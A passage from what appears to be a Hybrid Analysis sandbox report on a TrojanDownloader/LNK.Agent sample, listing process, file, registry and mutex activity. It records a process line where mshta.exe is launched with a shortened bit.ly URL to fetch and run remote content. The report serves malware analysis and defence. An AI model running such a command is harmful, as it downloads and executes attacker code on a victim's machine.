LLC","registrar_name_servers":"CURITIBA.PORKBUN.COM","registrar_creation_date":"2021-04-30T07:24:14+00:00","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]}],"http_requests":null},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}],"processes":[{"pid":2696,"ppid":0,"name":"mshta.exe","command_line":"https://bit.ly/35FlWc2","sha256":"8c10ae4be93834a4c744f27ca79736d9123ed9b0d180db28556d2d002545baf2","normalized_path":"%WINDIR%\\system32\\mshta.exe","uid":"00000000-00002696","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAACmElEQVR42u2Xy2sTURTGB110UVEQayLSpi0NrtyJj1VVFC0SjSRNxZV/gApqbUWphIJUaCHptHlUcVcUhS4U6spHFIqW4kITQaI2TQN5zdBkmk4yabWf506TKEihNGMs2st8MHfunHN+95wzzAzH/ffDbrfjb6kE4PP5Kq7fADjuZUX1RwGKu2T+lzv/twFW2vxrqwkr+fgtC1CpsQ6wDrC2AC5d6UB7+9VVacDlKR+AOUrNz2MqJUFcAOhYkdhgtpoARLMK/GERQg7oeTCB6iN90J/k0dQ2BOMZb0k7zIMw0rXvWgPEcgrehwTE55Z29/jNFBpsbuhP8aizeFBndZHc2HbCCYOZx7dFjQHiBOAngFgGEJSlm7qH32JriwOGVg/qC6ohgCaLU/sMMIAAlYBlgDl//iGKhlYvDNafwettXmxXAfq1B0goCj4SQJYW/WEJu87eQa3FRYG9avDa04PYaR6gDDhgJADNS5AkgGBUhEyOTR0jqDHxaLR51PTrTU7oWnqp9k5UH+pBo9mhfQZEAphOJjEeFKEz9VMDekvBN+y3Y+TVJ7wLJsDtuwndsdvaA8wQQIIA7j0NYMtxhwrAUr7xgB38o/GS4ZOxIDY3d2tfghQBJAng7mgAm472UfO5UdV8C9dcz1SDPFMh6OjYZ+0zkCaAGAG8DsRRdbiXysBDT3UXM3nVQKYt5xYWkS9E1hxglpVAkpGSZRw8Pwxu93XsOTcEmeazpJkMrZHSJGlORkbOQiEbZlv2N6HahJKEr/QUxAUBX6bjsHbeB7e3C203HuLFRBAxUaQMsXURCVKS5ul0WgUo+9eMOREocCgcRpgUCoUwOTmJSCSizpl+PS+K9QyzLfvn9MLFy6t+HXcVd1HG+AEDIv+otXGQVwAAAABJRU5ErkJggg=="}],"all_imported_dlls":["profapi.dll","dwmapi.dll","webio.dll","oleaccrc.dll","wintrust.dll","gpapi.dll","msls31.dll","gdi32.dll","VxSSL64.dll","bcryptprimitives.dll","d2d1.dll","netprofm.dll","WindowsCodecs.dll","sxs.dll","ntdll.dll","cryptbase.dll","shlwapi.dll","iertutil.dll","normaliz.dll","wship6.dll","devobj.dll","cryptsp.dll","urlmon.dll","winhttp.dll","FWPUCLNT.DLL","nlaapi.dll","uxtheme.dll","crypt32.dll","WSHTCPIP.DLL","DWrite.dll","msctf.dll","IPHLPAPI.DLL","wininet.dll","clbcatq.dll","comctl32.dll","api-ms-win-downlevel-advapi32-l2-1-0.dll","msasn1.dll","ole32.dll","api-ms-win-downlevel-shlwapi-l2-1-0.dll","advapi32.dll","fltLib.dll","api-ms-win-downlevel-shlwapi-l1-1-0.dll","api-ms-win-downlevel-normaliz-l1-1-0.dll","shell32.dll","mswsock.dll","msimtf.dll","KernelBase.dll","api-ms-win-downlevel-version-l1-1-0.dll","api-ms-win-downlevel-user32-l1-1-0.dll","user32.dll","rsaenh.dll","api-ms-win-downlevel-ole32-l1-1-0.dll","cfgmgr32.dll","sechost.dll","imm32.dll","ws2_32.dll","api-ms-win-downlevel-advapi32-l1-1-0.dll","lpk.dll","api-ms-win-core-synch-l1-2-0.dll","nsi.dll","winnsi.dll","ieframe.dll","d3d10warp.dll","setupapi.dll","npmproxy.dll","dxgi.dll","schannel.dll","msvcrt.dll","sspicli.dll","api-ms-win-downlevel-shell32-l1-1-0.dll","wshqos.dll","ncrypt.dll","bcrypt.dll","RpcRtRemote.dll","rasadhlp.dll","mshtml.dll","userenv.dll","secur32.dll","rpcrt4.dll","usp10.dll","d3d11.dll","version.dll","dnsapi.dll","oleacc.dll","dhcpcsvc.dll","dhcpcsvc6.dll","kernel32.dll","oleaut32.dll","credssp.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"S8TE6E8J.txt","sha256":"2348a1d4c0b1794e11f2385f78371d3882d4dc25d4786aa22d6caa523f7048b2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"name":"35FlWc2_1_.htm","sha256":"c94b2cd2e12b5e10811a8e7cb481d20ca52d54ffd505ad0a0db4f56603f75b1d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]}],"files_written":[{"path":"\\DEVICE\\NETBT_TCPIP_{846EE342-7039-11DE-9D20-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{C3450F58-7060-4AEA-B0A0-C245927D78D0}","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\S8TE6E8J.txt","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0CH0OVJV\\35FlWc2[1].htm","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\counters.dat","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\{5F4A384C-5B98-4E51-85D5-8FED9B27753E}\\AC-1F-6B-0D-DB-84\\","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\AC-1F-6B-0D-DB-84\\","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\{5F4A384C-5B98-4E51-85D5-8FED9B27753E}\\","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"key":"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]}],"keys_modified":null,"keys_deleted":[{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\AC-1F-6B-0D-DB-84\\WPADDETECTEDURL\\WPADDETECTEDURL","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\{5F4A384C-5B98-4E51-85D5-8FED9B27753E}\\WPADDETECTEDURL\\WPADDETECTEDURL","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]}]},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\!IECompat!Mutex","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"name":"!IECompat!Mutex","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]}]}},"report_ids":{"sandbox_job_ids":["63d42bc833a2986425431787"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious TrojanDownloader/LNK.Agent Sample b7533ae30577… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample b7533ae30577…. Malware family: TrojanDownloader/LNK.Agent. Threat score 100/100. 7/35 AV engines flagged this file. 2 malicious and 4 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/b7533ae3057764c8734ebdea13e766eaa92ad38f7ab41bb267b9b44a550e1507"}],["$","meta","4",{"property":"og:title","content":"Malicious TrojanDownloader/LNK.Agent Sample b7533ae30577… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample b7533ae30577…. Malware family: TrojanDownloader/LNK.Agent. Threat score 100/100. 7/35 AV engines flagged this file. 2 malicious and 4 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/b7533ae3057764c8734ebdea13e766eaa92ad38f7ab41bb267b9b44a550e1507"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious TrojanDownloader/LNK.Agent Sample b7533ae30577… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample b7533ae30577…. Malware family: TrojanDownloader/LNK.Agent. Threat score 100/100. 7/35 AV engines flagged this file. 2 malicious and 4 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L2d","11",{}]]